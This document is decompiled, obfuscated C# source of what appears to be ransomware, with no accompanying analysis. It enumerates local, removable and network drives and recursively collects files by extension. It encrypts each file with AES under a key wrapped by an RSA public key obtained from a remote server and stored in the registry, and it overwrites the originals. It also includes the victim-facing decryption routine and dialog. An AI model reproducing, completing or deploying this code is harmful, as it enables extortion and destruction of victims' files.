public void method_23() { string text = Delegate120.smethod_0(Environment.SpecialFolder.Desktop); string[] array = Delegate194.smethod_0(text, "*.*"); for (int i = 0; i < array.Length; i++) { string string_ = array[i]; string text2 = Delegate195.smethod_0(string_); string[] array2 = this.string_6; for (int j = 0; j < array2.Length; j++) { string text3 = array2[j]; if (Delegate98.smethod_1(text3, text2)) { try { this.method_18(string_); goto IL_63; } catch (Exception) { goto IL_63; } break; } IL_63 :; } } }
public bool method_12(string string_7) { bool flag = false; string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); string text2 = (string)Delegate169.smethod_0(text, "Public", ""); if (Delegate98.smethod_1(text2, "")) { while (!flag) { string text3 = this.method_9(49, Delegate179.smethod_0(new object[] { ":", this.int_2, ":", this.int_3 })); string object_ = this.method_8(Delegate124.smethod_0(string_7, text3)); if (Delegate98.smethod_0(object_, "")) { Delegate127.smethod_0(text, "Public", object_, RegistryValueKind.String); return(true); } Delegate104.smethod_0(this.int_1); } return(false); } Delegate100.smethod_2("Public already exsits"); return(true); }
public void method_19(List <string> list_0, string string_7) { try { string[] array = Delegate194.smethod_0(string_7, "*.*"); for (int i = 0; i < array.Length; i++) { string text = array[i]; string object_ = Delegate195.smethod_0(text); string[] array2 = this.string_6; for (int j = 0; j < array2.Length; j++) { string text2 = array2[j]; if (Delegate98.smethod_1(text2, Delegate143.smethod_0(object_)) && !this.method_16(text)) { list_0.Add(text); this.method_17(text); } } } string[] array3 = Delegate196.smethod_0(string_7); for (int k = 0; k < array3.Length; k++) { string string_8 = array3[k]; if (!this.method_6(string_8)) { this.method_19(list_0, string_8); } } } catch (Exception object_2) { Delegate100.smethod_2(Delegate197.smethod_0(object_2)); } }
public string method_9(int int_4, string string_7) { int num = 0; string result = null; RSACryptoServiceProvider object_ = Delegate29.smethod_0(2048); Delegate164.smethod_0(object_, this.string_2); if (Delegate98.smethod_0(this.string_0, "")) { char[] array = Delegate165.smethod_0(this.string_0); char[] array2 = new char[array.Length + 1]; for (int i = 0; i < array.Length; i++) { if (i == 12) { array2[num++] = (char)int_4; } array2[num] = array[i]; num++; } string text = Delegate124.smethod_0(Delegate30.smethod_0(array2), string_7); byte[] byte_ = Delegate168.smethod_0(object_, Delegate167.smethod_0(Delegate166.smethod_0(), text), false); result = Delegate153.smethod_1(byte_); } return(result); }
public void method_18(string string_7) { string text = Delegate124.smethod_0(Class3.smethod_0 <string>(1039446687u, 331866531155298722uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); Delegate124.smethod_0(text, "\\Files"); string text3 = Delegate124.smethod_0(string_7, ".tmp"); Delegate24.smethod_0(); Delegate189.smethod_0(true); RSACryptoServiceProvider object_ = Delegate33.smethod_0(); string text4 = (string)Delegate169.smethod_0(text2, "Private", "No Private Key was found!"); if (Delegate98.smethod_0(text4, "")) { Delegate164.smethod_0(object_, text4); byte[] byte_ = new byte[344]; FileStream object_2 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.Read); Delegate187.smethod_0(object_2, -344L, SeekOrigin.End); Delegate190.smethod_0(object_2, byte_, 0, 344); string text5 = Delegate191.smethod_0(Delegate166.smethod_0(), byte_); byte[] byte_2 = Delegate146.smethod_0(text5); byte[] array = Delegate168.smethod_1(object_, byte_2, false); Delegate153.smethod_1(array); Delegate162.smethod_0(object_2); FileStream object_3 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.ReadWrite); Delegate193.smethod_0(object_3, Delegate192.smethod_0(object_3) - 344L); Delegate162.smethod_0(object_3); using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create)) { using (AesManaged aesManaged = Delegate36.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_1(aesManaged, array, array), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesManaged, 256); Delegate183.smethod_1(aesManaged, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } Delegate100.smethod_1(string_7); Delegate130.smethod_1(text3, string_7); } }
public bool method_16(string string_7) { string[] array = Delegate182.smethod_0(this.registryKey_0); string[] array2 = array; for (int i = 0; i < array2.Length; i++) { string text = array2[i]; if (Delegate98.smethod_1(text, string_7)) { return(true); } } return(false); }
public List <string> method_5() { DriveInfo[] array = Delegate139.smethod_0(); List <string> list = new List <string>(); DriveInfo[] array2 = array; for (int i = 0; i < array2.Length; i++) { DriveInfo object_ = array2[i]; if (Delegate98.smethod_1(Delegate141.smethod_0(Delegate140.smethod_0(object_)), "Fixed") || Delegate98.smethod_1(Delegate141.smethod_0(Delegate140.smethod_0(object_)), "Removable") || Delegate98.smethod_1(Delegate141.smethod_0(Delegate140.smethod_0(object_)), "Network")) { list.Add(Delegate142.smethod_0(object_)); } } return(list); }
public bool method_2(string string_7, int int_4) { bool result = false; string text = this.method_9(48, ""); string text2 = this.method_8(Delegate124.smethod_0(string_7, text)); if (Delegate98.smethod_0(text2, "")) { int num = Delegate134.smethod_0(text2); if (num == int_4) { return(true); } } return(result); }
public void method_17(string string_7) { string text = Delegate124.smethod_0(Class5.smethod_0 <string>(99835095u, 15038730591190274483uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); string text3 = Delegate124.smethod_0(text, "\\Files"); string text4 = Delegate124.smethod_0(string_7, ".tmp"); AesCryptoServiceProvider object_ = Delegate24.smethod_0(); RSACryptoServiceProvider object_2 = Delegate33.smethod_0(); string text5 = (string)Delegate169.smethod_0(text2, "Public", "No Public Key was found!"); if (Delegate98.smethod_0(text5, "")) { Delegate164.smethod_0(object_2, text5); byte[] byte_ = Delegate168.smethod_0(object_2, Delegate148.smethod_0(object_), false); string object_3 = Delegate153.smethod_1(byte_); using (FileStream fileStream = Delegate32.smethod_0(text4, FileMode.Create)) { using (AesCryptoServiceProvider aesCryptoServiceProvider = Delegate24.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_0(aesCryptoServiceProvider, Delegate148.smethod_0(object_), Delegate148.smethod_0(object_)), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesCryptoServiceProvider, 256); Delegate183.smethod_1(aesCryptoServiceProvider, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } StreamWriter object_4 = Delegate34.smethod_0(text4, true); Delegate187.smethod_0(Delegate186.smethod_0(object_4), 0L, SeekOrigin.End); Delegate150.smethod_0(object_4, object_3); Delegate188.smethod_0(object_4); Delegate127.smethod_0(text3, string_7, Delegate96.smethod_0(object_3), RegistryValueKind.DWord); Delegate100.smethod_1(string_7); Delegate130.smethod_1(text4, string_7); } }
public void method_2(string string_1) { Delegate104.smethod_0(5000); Mutex object_ = Delegate17.smethod_0(); if (this.gclass0_0.method_13(string_1)) { Delegate105.smethod_0(this.progressBar_0, ProgressBarStyle.Blocks); Delegate102.smethod_1(this.progressBar_0, 0); Delegate102.smethod_2(this.progressBar_0, this.gclass0_0.method_22()); Delegate83.smethod_3(this.progressBar_1, false); string[] array = this.string_0; for (int i = 0; i < array.Length; i++) { string string_2 = array[i]; Delegate106.smethod_0(object_); if (!Delegate98.smethod_1(string_2, "")) { Delegate54.smethod_0(this.label_8, string_2); Delegate102.smethod_3(this.progressBar_0, 1); this.gclass0_0.method_21(string_2); Delegate107.smethod_0(object_); } } Delegate106.smethod_0(object_); DialogResult dialogResult = Delegate97.smethod_0("Search and decryption of the found files completed. \n\nMake sure that all important files have been decrypted! If part of the files had not been decrypted - move them to the desktop and click <<Retry>> button. \n\nOtherwise, press <<Cancel>> button - this will delete the software from this computer. Please restart your computer to completely destroy this software!", "Attention!", MessageBoxButtons.RetryCancel, MessageBoxIcon.Exclamation); if (dialogResult == DialogResult.Retry) { this.gclass0_0.method_23(); this.gclass0_0.method_24(); } else { this.gclass0_0.method_24(); } Delegate107.smethod_0(object_); } Delegate108.smethod_0(); }
public bool method_13(string string_7) { bool flag = false; string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); string text2 = (string)Delegate169.smethod_0(text, "Private", ""); string text3 = this.method_9(51, ""); if (Delegate98.smethod_0(text2, "")) { flag = true; } while (!flag) { string object_ = this.method_8(Delegate124.smethod_0(string_7, text3)); if (Delegate98.smethod_0(object_, "503")) { Delegate127.smethod_0(text, "Private", object_, RegistryValueKind.String); flag = true; } Delegate104.smethod_0(this.int_1); } return(flag); }